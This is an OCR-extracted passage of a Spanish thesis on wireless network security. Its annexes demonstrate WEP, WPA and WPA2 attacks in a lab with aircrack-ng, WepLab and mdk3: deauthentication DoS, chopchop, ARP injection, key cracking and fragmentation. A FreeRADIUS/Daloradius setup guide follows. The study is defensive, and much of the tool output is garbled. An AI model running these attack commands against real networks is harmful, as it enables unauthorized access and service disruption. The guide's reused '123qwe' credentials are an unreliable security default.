X%=16,61 cae en el area de rechazo de Ho (si X= > X7), por lo que X2 resulta
significativa y se acepta la hipotesis de investigacion Hi.

En la guia de referencia se propone el uso de WPA2 PSK como solucién para
entornos SOHO y WPA2 ENT con EAP-TTLS para entornos empresariales, siendo
este fruto del analisis, los mecanismos que permiten un acceso seguro alto a las

redes inaldmbricas.
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RECOMENDACIONES

Se deberia excluir el uso de WEP o WPA en entornos SOHO como mecanismos
de seguridad ya que se verificd que son vulnerables, salvo el caso que los equipos
no soporten WPA2 tener en cuenta las consideraciones en la generacion de

claves.

Se recomienda usar tecnologias abiertas GNU para las implementaciones de los
servidores RADIUS en redes inalambricas, ya que por su concepcion libre
permiten configurar libremente variadas soluciones adaptables a las necesidades
particulares sin restringir el uso a cierto tamafio de usuarios (Licencias), ademas
de su compatibilidad hacia atras tanto en hardware como software optimiza los

recursos ya adquiridos.

No solo usar WPA2 / ENT, como Unico mecanismo seguro, tener en cuenta
seguridades complementarias como son firewalls, vlans, sistema deteccion de
intrusos que permitiran excluir, filtrar y monitorizar cualquier cambio inadecuado en

la WLAN para su correctivo inmediato.

El uso de herramientas de gestion inalambricas libres esta ain dependiente de un
porcentaje minoritario de compatibilidad hardware, se deberia tener en cuenta este
aspecto al momento de querer monitorizar una red WIFI ya que no todas las

tarjetas inaldmbricas permiten poder configurarlas para este propdsito.
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ANEXOS Al

WEP
ATAQUE DE DENEGACION DE SERVICIO/AUTENTICACION.

Objetivo: Conseguir que una estacion asociada al punto de acceso deje de estarlo,

produciendo una denegacion de servicio en cuanto a la utilizacién de los recursos del AP.

Herramientas: Aircrack Suite (Aireplay ataque 0, denegacion de servicio y Airodump para

capturar los paquetes).

Localizar el objetivo
De esta forma pondremos en funcionamiento la aplicacion perteneciente a la Suite Aircrack
Airodump, mediante las siguientes lineas.

airodump ethl —channel 7 -w DoS.cap

CH 7 1[ Elapsed: 16 s ][ 2007-12-22 15:53

BSSID PWR RXQ #Data, #/s | ME ENC CIPHER AUTH ESSID

A@:13:F7:28: a 74 111 f i 5 54, WEP WEP SMC
a0 14:BF:BA: g 95 159 g i 48 WEP WEP Jcom

BSSID STATION PWR. Rate Lost Packets Prohes

Resumen trafico del canal
En la parte inferior de la captura se listan el conjunto de estaciones asociadas a cada punto de
acceso. En este caso la lista permanece vacia ya que la captura ha sido lanzada hace escasos

segundos.

CH 7 1[ Elapsed: 3 mins ][ 22 15:00 ][ 148 bytes keystream: 00:14:BF:BA:
BS5ID PWR RXQ 24C0ons #Data, #/s CH MB ENC CIPHER AUTH ESSID
54, WEP WEF SMC
48 WEP WEF SKA  3com

54, WEP WEF WLAN A3
-1 WEP WEP <length:

80:13:FF:28: o] 0] 2 287 ]
00: 14:BF : BA: Q160 219 113 ]
: i1 @ o ] 3]
-1 0 : 13 5]

=D = O

STATION FWR. Rate Lost Packets Probes

00:80:5A:34: Y o- 0 0 3 y aYxnVBEPv.MA!1i68R7

Jazztel Wireless
WLAN_BB
WLAN 37

00: 18:DE: 3 0- 0
4 -
{not associated) 0 - g -

kg

[

Como comentamos anteriormente el objetivo es que la estacién con direccion MAC
“00:80:5A:34” asociada al punto de acceso “00:14:BF:BA” (ESSID 3com), deje de estarlo
imposibilitando toda comunicacion con la red. Para lanzar el ataque se ejecuta la sentencia de

Aireplay siguiente:



aireplay -0 0 -a 00:14:BF:BA -c 00:80:5A:34 ethl

Asi pues tras lanzar la denegacién de servicio la aplicacion Aireplay mostrara el siguiente

resultado.

aireplay-ng -0 30 -c 00:80:5A;
6:08:41 Waiting for beacon frame |

34 -3 B0:14:BF:BA: ethl
BSSID: @0:14:BF:BA: ) on channel 7
6:08:41 Sending Defuth to station -- STMAC: [00:80:5A:34: ]

Resultado de la aplicacion Aireplay

Obteniendo resultados
Como se puede observar en la siguiente imagen, tras el ataque, la estacion cliente deja de

transmitir tramas al AP, obteniendo los resultados que a continuacién, muestra la captura.

CH 7 ][ Elapsed: 5 mins ][ 2087-12-22 16:11 ][ 148 bytes keystream: 00:14:BF:BA:
BSSID PWR RX0Q Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
B B3 2293 2 9 6 54. WEP WEP

0 100 52 0 48 WEP WEP
o 0 ) @ 9 54, WEP WEP WLAN_A3

-1 WEP WEP <length:

PWR at st Packets Probes

(]
f

1]
1]

Salida del Airodump

Efectivamente el cliente asociado ya no aparece en la lista inferior de la imagen es mas, la
aplicacién Airodump informa que ha sido capturada con éxito una cadena de cifrado de longitud
148 bytes (parte superior derecha de la imagen). La captura del keystream se ha producido al

autenticarse en el punto de acceso la estacion con MAC “00:80:5A:34" por primera vez.

ATAQUE INDUCTIVO CHOPCHORP.

Objetivo: Conseguir desencriptar un paquete de datos cifrado con la clave WEP utilizando el
AP como elemento de prueba y error. Recuperar el keystream de un paquete de datos de la

red, til para cifrar posteriormente cualquier paquete.

Herramientas: Aircrack Suite (Herramienta Aireplay ataque 4 tipo ChopChop y Airodump como
aplicacion de captura de datosVictima: Punto de acceso con MAC “00:14:BF:BA” y ESSID

3com, paquete de datos aleatorio.



lanzaremos la aplicacién Airodump mediante la siguiente sentencia.

airodump ethl —channel 7

En este momento detectamos que el punto de acceso con ESSID “3com” esta emitiendo en el

canal 7 y tiene como estacion asociada el cliente “00:14:A5:EA.".

Elapsed: 1 min ][ 20087-12-22 17:19

FWR RX0Q Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
7 ; 48  WEP  WEP Scom

Probes

=
5]
I_|-
i

(BA: BO:14:85: EA:
heiated) GF:3F:
ciated) 00 :80:54:39:;

=
'
[

WLAN_37

=
'
=

'
o=

Deteccion del cliente
Lanzando el ataque

Aireplay -4 -h 00:14:A5:EA: ra0

ral)
¥ doesn't match the specified MAC {-h).
o 0014 :AS:ER

F...E

L B BE B A ) LA ) *++]
25, |LEAT

H.25. |.Et

I I D

$...0...5. n.B

|_|:E:Ee ‘thiE: [aar

saving chosen packet in replay_src-

Peticion de validacion de Aireplay

Cabe destacar que el proceso de descifrado es costoso en tiempo y no puede ser utilizado para
descifrar en tiempo real el trafico de la red. Para el ejercicio propuesto se ha conseguido
desencriptar un paquete de datos de 110 bytes en 21 segundos obteniendo una tasa de 1,9

bytes por segundo.



Saving chosen packet in replay src-

Ataque Chop Chop

Obteniendo resultados.- De esa forma se han conseguido los dos objetivos propuestos.
Conseguir por una parte, el texto plano del paquete, volcado en el archivo “replay_dec-1222-
171845.cap” en formato de captura de la libreria libcap “.cap”. Mientras que por otra parte se ha
conseguido determinar el keystream utilizado para cifrar dicho paquete de datos volcado al
archivo “replay_dec-1222-171845.xor".

PRUEBA PRACTICA ATAQUE DE DICCIONARIO/FUERZA BRUTA.
Objetivo: Conseguir demostrar que es posible y existen herramientas que permiten recuperar
la clave de cifrado mediante una accion reiterada de prueba y error haciendo uso de todas las

posibles combinaciones de palabras.

Herramientas: Aplicacion WeplLab en su modo de ataque de diccionario y fuerza bruta (

extension “-y” y extensién “-b”).



Capturando datos La captura de datos realizada en el escenario de pruebas se realizé
mediante la aplicacién Airodump tomando de manera aleatoria el objetivo atacado. Destacar

que metodologia de captura mediante Airodump es la realizada en ataques anteriores.
Analizando la captura En primera instancia lanzaremos la aplicacion en su modo de analisis
del paquete, este pardmetro permite listar el contenido de un paquete de datos cifrado con
WEP mostrando las estadisticas de paquetes ordenados por punto de acceso.

Weplab -a diccionario.cap

Mediante el uso del parametro “-a” indicamos a la herramienta que comience el analisis de la

captura “diccionario.cap”. El resultado de la ejecucién se muestra en la imagen siguiente.

urceforge . net>

Salida del Weblab

Observamos como WepLab ha encontrado cuatro clasificaciones de tréfico, las referentes a
tres puntos de acceso con MACs “00:14:BF:BA”, “00:13:10:7A” y “00:13:F7:28", ademas de un

conjunto de paquetes que no estéan vinculados a ningn BSSID.

Ataque de diccionario
En esta demostracion practica hemos creado un pequefio archivo de texto “dicc.txt” que sera
pasado como parametro a la aplicacion Weplab para que sea utilizada como fuente de palabras

clave. El contenido del archivo se muestra a continuacion.



Contenido de dicc.txt:
12345

prueba

password

holas

Asi pues lanzaremos WEPLab en su modo de ataque de diccionario mediante la siguiente

instruccion.
Weplab -b —bssid 00:13:10:7A diccionario.cap
Donde el pardmetro “-y —worfile” especifica el archivo de diccionario a utilizar contra el punto de

acceso “00:13:10:7A" de la captura “diccionario.cap”. Como resultado de la ejecucion se puede

observar lo siguiente

gourceforge.net>

startced lea= i 1CEr Co get ] from Johh.

will be printed

dictionn

Ataque de Diccionario

Obteniendo resultados
haciendo nuevamente mencion al uso de ataques estadisticos en detrimento y relegando a

usos educacionales, los ataques de fuerza bruta y diccionario.

PRUEBA PRACTICA ATAQUE DE INYECCION.

Objetivo: Conseguir inyectar trafico valido en la red sin conocer la clave de cifrado.
Herramientas: Aplicacion Aireplay y Airodump perteneciente a la Suite Aircrack. La primera en
su “ataque 3 inyeccidn” se utilizara para la inyeccion de trafico, mientras que la segunda seréa

usada para capturar las replicas.



Determinar el objetivo
En primera instancia lanzaremos el sniffer de red inaldmbrica Airodump en el canal del punto

de acceso, en este caso el 10, mediante la siguiente instruccién.

Airodump —channel 10 -w inyeccion.cap ra0

Obteniendo como resultado la siguiente captura.

CH 18 ][ Elapsed: 4 s ][ 2007-12-29 12:49

BSSID PWR RXQ PBeacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:14:BF:BA: o108 &7 3 3 18 48 WEP WEP Jcom
BSSID STATION PWR  Rate Lost Packets Probes

00; 14:BFBA: 003131 F7:02:

Resultados del Airedump

Observamos como la estacién con ESSID “3com” esta emitiendo en el canal nimero 10.

Inyectando trafico A continuacion
Aireplay -3 -b 00:14:BF:BA -h 00:13:F7:02 ra0

La imagen siguiente muestra el resultado de la accion.

bt ¢ alreplay-ng -3 -b 00:14:BF:BA -h B@:13:F7:02% raf

The interface MAC (08:80:54:34 ) doesn't match the specified MAC (-h].
ifconfig ra@ hw ether 08:13:F7:082:

eacon frame | ): 00:14:BF:BA ) on channel 18
lay arp-1228 Jcap
rt airodump-ng to capture replies.
3 packets (got @ ARP requests and 15288 ACKs)

Ataque de Inyeccion
Destacar que la inyeccién del paquete siempre se realizara utilizando un mismo IV, lo que en
verdad interesa es que la contestacién al ARP se realizara cifrando el paquete con un IV

distinto cada vez, aumentando la entropia de la captura realizada

Tras la captura del paquete ARP la aplicacion Aireplay comenzara a reinyectar los paquetes tal

y como muestra la figura.



bt - # aireplay-ng -3 -b 00:14:BF:BA: -h 00:13:F7:02: raf

The interface MAC (080 SA:34: ) doesn't match the specified MAC (-h)
ifconfig rad hw ether 00;13:F7:02;

12:50:280 Waiting for beacon frame (BSSID: @@ BA: ) on channel 10

Saving ARP requests in replay_arp-12 :
art airodump-ng to capture replies.
(got 46093 ARF reque and 47194 ACKs), sent 57668 packets...(499 pps)

Reinyectando paquetes

Obteniendo resultados

Tras la inyeccién de tréafico, la captura del Airodump muestra las estadisticas de la imagen.

CH 10 ][ Elapsed: 2 mins 1[ 2007-12-29 12:52

BSSID PWR RX e NS #Data, #/5s CH MB ENC CIPHER AUTH ESSID

08: 14:BF : BA: C @ 1647 101494 985 10 48 WEP WEP Jcom
STATION FWR

08:13:F7:02:

Generacion de trafico

Hasta el momento se ha conseguido inyectar mas de 100.000 paquetes en tan solo 2 minutos

de captura, con una velocidad de transmisién de 905 paquetes por segundo.

Avanzando un poco mas en el tiempo, pasados los cuatro minutos la inyeccion refleja lo

siguiente.
ified MAC (-h],

) on channel 10

nt 115304 packets...(499 pps)

aireplay-ng -3 00 14 BF: BA: -h 00:13:F7:02: raf
interf C a0 sn't match th ified MAC (-h).

B:20 Waitin
ng ARP requ

Aireplay: Pasados 10 minutos
Y la respectiva captura del sniffer inalambrico.
CH 18 ][ Elapsed: 18 mins ][ Z007-12-29 13:00

B5S5ID FWR { . 15 #Data, CH MB ENC CIPHER AUTH ESSID

Q75 @ 48 WEF WEFP 3com

STATION

OE:13:F7:02:



Airedump: Pasados 10 minutos
Con toda esta informacion recabada seria mas que posible romper la clave de cifrado mediante

el uso de ataques estadisticos, este tipo de ataques se comentaran a continuacion.

PRUEBA PRACTICA ATAQUE ESTADISTICO.

Objetivo : Conseguir la clave de cifrado de un punto de acceso especifico
utilizando una captura de datos previa.

Herramientas : Aplicacién Aircrack perteneciente a la Suite con el mismo nombre.

Detectar el objetivo en la captura

Es posible romper una encriptacion WEP de 128 bits utilizando tan solo 50000 paquetes
cifrados. Para una encriptaciéon de 64 bits el nimero de paquetes necesarios se veria reducido
considerablemente.

En este caso se va a utilizar la captura “salida.cap”, resultado de los datos recogidos en el

escenario propuesto. De esta manera la aplicacion es lanzada mediante la siguiente directiva.

aircrack salida.cap

WEP or
WEP

number of target n

Estadisticas Aircrack

Lanzando el ataque mediante Aircrack
De la imagen se puede destacar que la aplicacion ha reconocido 221.301 paquetes de los
cuales 40.959 pertenecen al punto de acceso con direccion MAC “00:11:E3:E3" y ESSID “trio

pep”. Asi pues se procede a ejecutar la siguiente instruccion.

aircrack -n 64 -e “trio pep” -f 2 salida.cap



Indicandole al Aircrack que busque claves de 64 bits con ESSID igual a “trio pep” dentro del
archivo de captura salida.cap. Ademas utiliza un “fudge factor” de 2, pardmetro que se
explicard mas adelante. En este momento la herramienta comienza su ejecucion reflejada en la

siguiente imagen.

“k-ng 1.0 hetal

Aircrack trabajando
En tan solo tres segundos de ejecucion Aircrack ya ha probado mas de medio millon de claves.

Pasados escasamente ocho segundos la aplicacion muestra el siguiente resultado.

Clave encontrada 1

Obteniendo resultados
Efectivamente Aircrack a conseguido la clave de cifrado “12:34:56:78:90", consiguiendo el
objetivo propuesto, demostrar que es posible recuperar la clave de cifrado a partir de un

volumen considerable de datos de la red y ademas de una forma extremadamente rapida.

PRUEBA PRACTICA ATAQUE DE FRAGMENTACION.

Objetivo : Conseguir una cadena de cifrado valida que nos permita encriptar cualquier tipo de
trafico en la red sin el repudio del AP.

Herramientas : Aplicacion Aireplay y Airodump perteneciente a la Suite Aircrack. La primera en
su “ataque 5 fragmentacion” se utilizara para llevar a cabo el ataque, mientras que la segunda

serd usada para establecer y determinar la estacién victima

Determinando del objetivo.- En esta demostracion practica se van a utilizar las aplicaciones

de la Suite Aircrack, Aireplay y Airodump.



Airodump —channel 10 ra0
Tras lanzar el sniffer inalambrico la aplicacion comienza a mostrar la siguiente informacion.

1[ Elapsed: 5 mins 1[

PWR RX0Q leacons 5 E: P ME EMNC CIPHER AUTH ESSID
WEP  WEP
B D 3 PWR Rate Lost ac :  Probes

@8:14:BF:BA: 08:15:F7:02: o] a- @ 0] 3 3com

Determinando el objetivo

Como se puede observar el punto de acceso objetivo sera el perteneciente al ESSID “3com”

con la estacion asociada con direcciéon MAC “00:13:F7:02:".

Lanzando el ataque

A continuacion se lanza la aplicacion Aireplay mediante la instruccion siguiente.
Aireplay -5 -b 00:14:BF:BA -h 00:13:F7:02 ra0

Obteniendo como resultado la siguiente captura.

: t match the specified MAC (-h}.

1T1g rad hw ether 1

iting for beacon f ( on) on channel 10
14:BF 3t SID “"3com”.

found!

nding fragmented packet

ot RELAYED p
Trying to get
LAYED p

to get

LAYED p

am in fragment-1229-124412. xor
ith packetforge-ng out of that 1500 hytes keystream

Ataque fragmentacion

Obteniendo resultados.- En primera instancia Aireplay informa que el paquete fragmentado a

sido reensamblado y transmitido por el medio obteniendo su replica.

12:44:12 Data packet found!



12:44:12 Sending fragmented packet

12:44:12 Got RELAYED packet!

A continuacién la aplicacion probard mediante el uso de técnicas Arbaugh conseguir un
keystream de tamafio superior al del paquete retransmitido en primera instancia.

12:44:12 Trying to get 384 bytes of a keystream

12:44:12 Got RELAYED packet!!

12:44:12 Trying to get 1500 bytes of a keystream

12:44:12 Got RELAYED packet!!

Una vez conseguido una cadena de cifrado de igual tamafio a la MTU establecida por el

protocolo 802.3 Ethernet, es salvada en la captura “fragment-1229-124412.xor".

[TeRuts RN RN |

4 -rw-r--r--
4 -rw-r--r--
0 drwxr-xr-x 2

2
‘L
2
“

]
29
2
“

2
L

L I e U]

Resultado archivo .xor
De esta forma ha sido posible demostrar que, en menos de un segundo se ha conseguido una
cadena de cifrado valida, mediante el uso de fragmentacién y técnicas Arbaugh, Gtil para

inyectar cualquier trama de datos en la red inalambrica.



ANEXOS A2
WPA
ATAQUE DE DENEGACION DE SERVICIO
Objetivo : Conseguir que una estacion asociada al punto de acceso deje de estarlo,
produciendo una denegacion de servicio en cuanto a la utilizacién de los recursos del AP.

Herramientas: MDK3

Deteccion del objetivo y ataque 802.1X.- En este caso la salida del Airodump es la siguiente
CH 11 ][ Elapsed: 4 mins ][ 2 01-19 13:18
PIUR R¥E Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

0 2 424 0 0 11 48 WEP
0 1 0 0 9
0 ' 011
0 0 11
0 ] 2 11

0 11 F
0 : g 11 -1 0P
0 J 013 54, LEP

STATION PIR late Lost Pac
008015 0 0- 0 0]

0 i 40

0 0

Deteccion del objetivo

En este momento se selecciona el punto de acceso con direccion MAC 00:14:BF:BA y ESSID

“dd-Pulas” y se procede a lanzar la aplicacion mdk3 mediante la siguiente instruccion.

Mdk3 ethl x 0 -n dd-Pulas -t 00:14:BF:BA

Consiguiendo en escasos segundos el siguiente resultado.

molkd ethl « 0 -n dd-Pulas -t 00:14:EF :EAR

it s 1 - Speed: 1 pack

g1 authenticat

La aplicacidn en este momento colapsa el punto de acceso produciendo la desconexién de las
estaciones asociadas al él. Una prueba de ello representa la STA se ha desconectado y cuyo

estado se observa en la captura siguiente.



Seleet || | |« | LI LT FeConnect | | |

Aceptar | Cancelar | Aplicar |

@ Conexion de area local 5
Cable de red desconectada

Lanzando el ataque “Michael” y obteniendo resultado S

En segundo lugar se procede a realizar el ataque al protocolo de control de integridad “Michael”
mediante el uso de la misma herramienta mdk3. Asi pues se procede como en el caso anterior
a lanzar la aplicacion mediante la instruccion siguiente.

Mdk3 ethl m -t 00:14:BF:BA

Obteniendo como resultado la imagen mostrada a continuacion.
ndk3d ethl m -t 00:14:BF :BA

Packets sent: 1p
Produciendo como en el caso anterior la desconexion total de la estacién al punto de acceso.
‘ I Seleet || | K1 | _’I L FeConnect I | |

Aceptar | Cancelar | Liplicarn |

@ Conexion de area local 5

Cable de red desconectado

PRUEBA PRACTICA ATAQUE DE DICCIONARIO/FUERZA BRUTA.

Objetivo: Conseguir demostrar que es posible y existen herramientas que permiten recuperar
la clave de cifrado mediante una accion reiterada de prueba y error haciendo uso de todas las
posibles combinaciones de palabras.

Herramientas: Aplicacién WepLab en su modo de ataque de diccionario y fuerza bruta (

extension “-y” y extension “-b").

Weplab -a diccionario.cap

Mediante el uso del parametro “-a” indicamos a la herramienta que comience el analisis de la

captura “diccionario.cap”. El resultado de la ejecucion se muestra en la imagen siguiente.



zourceforges. o

. belong to [O0:14:E

Observamos como WeplLab ha encontrado cuatro clasificaciones de tréfico, las referentes a
tres puntos de acceso con MACs “00:14:BF:BA”, “00:13:10:7A” y “00:13:F7:28", ademas de un

conjunto de paquetes que no estan vinculados a ningan BSSID.

A su vez WepLab muestra las estadisticas asociadas a cada punto de acceso, nimero de

paquetes validos, IV leidos, paquetes de gestion, etc.

Ataque de diccionario

A su vez WeplLab permite ejecutar ataques de diccionario especificando como fuente un
archivo de texto o bien utilizar la entrada estandar para generar claves de prueba. En esta
demostracién practica hemos creado un pequefio archivo de texto “dicc.txt” que sera pasado
como parametro a la aplicacién Weplab para que sea utilizada como fuente de palabras clave.

El contenido del archivo se muestra a continuacion.

Contenido de dicc.txt:
12345



prueba
password

holas

Asi pues lanzaremos WEPLab en su modo de ataque de diccionario mediante la siguiente

instruccion.

Weplab -b —bssid 00:13:10:7A diccionario.cap

Donde el parametro “-y —worfile” especifica el archivo de diccionario a utilizar contra el punto de
acceso “00:13:10:7A” de la captura “diccionario.cap”. Como resultado de la ejecucién se puede

observar lo siguiente

dicclionario,. cap

ceforge

from John.

the end of the dictionnary

Ataque de Diccionario



ANEXOS A3
WPA2
ATAQUE DE DENEGACION DE SERVICIO

Objetivo: Conseguir que una estacion asociada al punto de acceso deje de estarlo,
produciendo una denegacion de servicio en cuanto a la utilizacién de los recursos del AP.
Herramientas: MDKS3

Para llevar a la practica ambos ataques de DoS, utilizaremos la aplicacién mdk3 desarrollada
por Pedro Larbig, ingeniero perteneciente a la universidad alemana de Darmstadt y cuyas
estudios sobre el estandar 802.11i permitieron crear una herramienta capaz de realizar

multiples ataques de denegacién de servicio al protocolo WPA2.

Deteccion del objetivo y ataque 802.1X

En primer lugar la aplicacion lanzada en su modo de DoS contra 802.1X permite inundar al
punto de acceso con paquetes de inicio de autenticacion. Como se ha estado realizado hasta el
momento en primera instancia lanzaremos la aplicacion Airodump con el objetivo de detectar el
AP a ser atacado. Cabe hacer destacar que el escenario de test ha sido establecido en una
maqueta preinstalada y preparada para la ocasion. Asi pues tanto el punto de acceso como la
estacion que recibe el DoS estan controlados por el atacante. En este caso la salida del

Airodump es la siguiente

EMI IPHER AUTH ESSID

UEP UEP
UEP

Lost Packets

Deteccion del objetivo

En este momento se selecciona el punto de acceso con direccion MAC 00:1B:2F:00 y ESSID
“cagarruta” y se procede a lanzar la aplicacion mdk3 mediante la siguiente instruccion.

Mdk3 ethl x 0 -n cagarruta -t 00:1B:2F:00

Consiguiendo en escasos segundos el siguiente resultado.



s ] H 1k

2ot EILJﬂ'IEFItj-.I:ZEItil:lr'l frame: authertication u:
xot authentication frame: authentication

Salida del MDK3

La aplicacidn en este momento colapsa el punto de acceso produciendo la desconexién de las
estaciones asociadas al el. Una prueba de ello representa la STA con sistema operativo
Windows 2000 y tarjeta inalambrica Conceptronic 54G asociada con el punto de accesoy cuyo

estado se observa en la captura siguiente.
| I Selent || | Iql | LI .t ReConnect | | |

Aceptar | Cancelar | Aplicar |

@ Conexidn de drea local 5

Cable de red desconectada

Aplicacién cliente inalambrica

Lanzando el ataque “Michael” y obteniendo resultados
En segundo lugar se procede a realizar el ataque al protocolo de control de integridad “Michael”
mediante el uso de la misma herramienta mdk3. Asi pues se procede como en el caso anterior
a lanzar la aplicacion mediante la instruccion siguiente.
Mdk3 ethl m -t 00:14:BF:BA
Obteniendo como resultado la imagen mostrada a continuacion.

mc3 ethl m -t O0:1B:BF D0

1 - 5p 1lnp
Produciendo como en el caso anterior la desconexion total de la estacién al punto de acceso.
‘ I Seleet || | K1 | _’I L FeConnect I | |

Aceptar | Cancelar | Liplicarn |

@ Conexion de area local 5

Cable de red desconectado

Aplicacién cliente inalambrica



Anexo B

CONFIGURACIONES

Procedimientos.

Instale los paquetes necesarios:

yum -y install freeradius2 freeradius2-mysql freeradius2-utils

yum -y install mysgl mysql-server

Generar los certificados predeterminados ejecutando el mandato radiusd con la opcién -X:

radiusd -X

Lo anterior iniciara el servicio radiusd e iniciara la generacién de los certificados. Cuando el
dialogo lo pida, definir los datos de pais, estado, nombre del anfitrién y cuenta de correo del

administrador. Al concluir pulsar CTRL-C para terminar el servicio y continuar configuracion.

Inicie el servicio MySQL:

service mysqld start

Afiada el servicio MySQL al arranque del sistema:

service mysqld on

Asigne clave de acceso al usuario root de MySQL.:

mysgladmin -uroot password '123qwe'

Genere una nueva base de datos denominada radius :

mysgladmin -uroot -p123qwe create radius



Acceda al intérprete de mandatos de MySQL:

mysq| -uroot -p123qwe

Designe el usuario y clava de acceso para acceder a la base de datos recién creada:

GRANT all ON radius.* TO radius@localhost IDENTIFIED BY '123qwe";

Salga de MySQL:

exit;

Utilizando el usuario radius , o el que haya designado para utilizar la base de datos recién
creada, pueble la base de datos que acaba de crear con los esquemas incluidos con
Freeradius:

mysq| -uradius -p123gwe radius < /etc/raddb/sqgl/mysqgl/cui.sql
mysq| -uradius -p123qgwe radius < /etc/raddb/sqgl/mysql/ippool.sql
mysq| -uradius -p123gwe radius < /etc/raddb/sqgl/mysqgl/nas.sql
mysq| -uradius -p123gwe radius < /etc/raddb/sqgl/mysgl/schema.sq|l

mysq| -uradius -p123gwe radius < /etc/raddb/sqgl/mysqgl/wimax.sql

Edite el archivo /etc/raddb/radiusd.conf

vim /etc/raddb/radiusd.conf

Descomente la linea que dice $INCLUDE sql.conf , lo cual se localiza aproximadamente

alrededor de la linea 801:

$INCLUDE sgl.conf

Edite el archivo /etc/raddb/sqgl.conf :

vim /etc/raddb/sql.conf



Definir los valores para acceder a la base de datos, lo cual se localiza aproximadamente

alrededor de la linea 35:

# Connection info:
server = "localhost"
#port = 3306

login = "radius"

password = "123qwe"

Descomente el parametro readclients con valor yes, lo cual se localiza aproximadamente

alrededor de la linea 100:

readclients = yes

Edite el archivo /etc/raddb/sites-enabled/default

vim /etc/raddb/sites-enabled/default

Descomente en la seccién authorize , lo cual se localiza aproximadamente alrededor de la
linea 159:

sql

Descomentar en la seccion accounting , lo cual se localiza aproximadamente alrededor de la
linea 365:

sql

Reegrese al simbolo de sistema y acceda a MySQL para dar de alta un usuario para probar:

mysq| -uradius -p123gwe radius

Desde el simbolo de sistema de MySQL, ejecute lo siguiente para dar de alta un usuario de
pruebas (fulano ) con una clave de acceso (123qwe en el ejemplo):



INSERT INTO radcheck (username, attribute, value) VALUES (‘fulano’,

'Password’, '123qwe");

Lo anterior equivale a afadir fulano Cleartext-Password :="123qwe"  en el archivo

letc/raddb/users .

Verifique que el usuario se dio de alta correctamente:

select * from radcheck where username='fulano’;

Debe regresar algo similar a los siguiente:

R + B — +

| id | username | attribute | op | value |

+-—--+ + B — +
| 6] fulano | Password | == 123qwe |
+-—--+ + B — +

1 row in set (0.00 sec)

Salga de mysql:

exit;

Inicie el servicio radiusd :

service radiusd start

Afiada el servicio radiusd a los servicios de arranque del sistema:

chkconfig radiusd on

Verifique que el servicio puede autenticar a través de MySQL.:

radtest fulano 123qwe localhost 1812 testing123



Lo anterior debe devolver algo similar como lo siguiente:

Sending Access-Request of id 222 to 127.0.0.1 port 1812

User-Name = "fulano"

User-Password = "123qwe"

NAS-IP-Address = 127.0.0.1

NAS-Port = 1812
rad_recv: Access-Accept packet from host 127.0.0.1 port 1812, id=222,
length=20

A partir de este punto, solo podra autenticar usuarios de manera local. Para poder conectar el

punto de acceso hacia el servidor Freeradius, vuelva a conectarse MySQL.:

mysq| -uradius -p123gwe radius

Ejecute lo siguiente, definiendo la direccion IP del punto de acceso, nombre corto, tipo de NAS
(other, cisco, livingston , computon , max40xx , multitech , natserver , pathras , patton,

portslave , tc o usrhiper ). Si utiliza un pinto de acceso casero, defina el tipo other .

INSERT INTO nas (hasname, shortname, type, secret) VALUES ('192.168.0.1',
'‘Mi-Ruteador ', 'other ', '123qwe");

Para verificar, ejecute desde el simbolo de sistema de MySQL lo siguiente:

select * from nas where shortname='"Mi-Ruteador";

Lo anterior debe regresar algo similar a lo siguiente::

+o-t + + + + + + +
| id | nasname | shortname | type | ports | secret | community | description |
+--—t + + + + + + +

| 3]1192.168.0.1 |WRT54G |other | NULL | 123gwe | NULL | RADIUS
Client |

E— + + + + + + +

1 row in set (0.00 sec)



Lo anterior equivale a editar el archivo /etc/raddb/clients.conf vy afiadir la direccién IP del

punto de acceso, una clave de acceso, nombre corto y tipo de NAS como other .

client 192.168.0.1 {
secret = cualquier-clave-de-acceso
shortname = WRT54G

nastype = other

}

Para que surta efecto el cambio, hay que reiniciar el servicio radiusd :

service radiusd restart

Para afiadir otro punto de acceso, solo basta repetir las linea con los datos que correspondan:

INSERT INTO nas (nasname, shorthame, type, secret) VALUES
('192.168.0.254', 'Otro-Ruteador ', 'other ', '123qwe");

Para realizar pruebas de conectividad remota, afiada un equipo siguiendo el procedimiento
anterior, y desde este equipo ejecute el mandato radtest (incluido en el paquete freeradius2-
utils , si se utiliza CentOS 5 o Red Hat Enterprise Linux 5, o bien freeradius-utils , si se utiliza
una versifion reciente de Fedora) de la siguiente forma, donde x.x.x.x corresponde a la

direccién IP del servidor Freeradius:

radtest fulano 123gqwe x.x.x.x 1812 123qwe

Lo anterior deberia devolver algo similar a lo siguiente.

Sending Access-Request of id 225 to x.x.x.x port 1812
User-Name = "fulano"
User-Password = "123qwe"
NAS-IP-Address = 127.0.0.1
NAS-Port = 1812
rad_recv: Access-Accept packet from host x.x.x.x port 1812, id=225, length=20



Instalar Daloradius para administracién a través de HTTP.

Se requiere instalar Apache, PHP y sus ligaduras para MySQL, la biblioteca GD y Pear-DB:

yum -y install httpd php php-mysql php-gd php-pear php-pear-DB

Inicie el servicio httpd :

service httpd start

Afiada el servicio httpd a los servicios de arranque del sistema:

chkconfig httpd on

Cambie al directorio /var/www/ :

cd /var/www

Descargue desde sourceforge.net/projects/daloradius el archivo correspondiente a la versién

mas reciente de Daloradius:

waget http://cdnetworks-us-
1.dl.sourceforge.net/project/daloradius/daloradius/daloradius-0.9-8/daloradius-
0.9-8.tar.gz

Descomprima el archivo descargado:

tar zxvf daloradius-0.9-8.tar.gz

Cambie los permisos de todo el contenido del directorio recién descomprimido para que

pertenezcan al usuario y grupo apache:

chown -R apache:apache daloradius-0.9-8

Cambie al directorio daloradius-0.9-8 :



cd daloradius-0.9-8

cargue las tablas de Daloradius en la base de datos utilizada por Freeradius.

mysq| -uradius -p123gwe < contrib/db/mysql-daloradius.sql

Edite el archivo library/daloradius.conf.php

vim library/daloradius.conf.php

Edite los valores correspondientes a los necesarios para la conexién ala base de datos

utilizada por Freeradius.

$configValues[CONFIG_DB_HOST'] ='127.0.0.1";
$configValues[ CONFIG_DB_USER'] = 'radius';
$configValues[CONFIG_DB_PASS' ='123gwe’;
$configValuesCONFIG_DB_NAME' = 'radius';

Genere un nuevo archivo denominado /etc/httpd/conf.d/daloradius.conf

vim /etc/httpd/conf.d/daloradius.conf

Afiada el siguiente contenido, donde x.x.x.x (ejemplo: 192.168.0.2) corresponde al al direccion

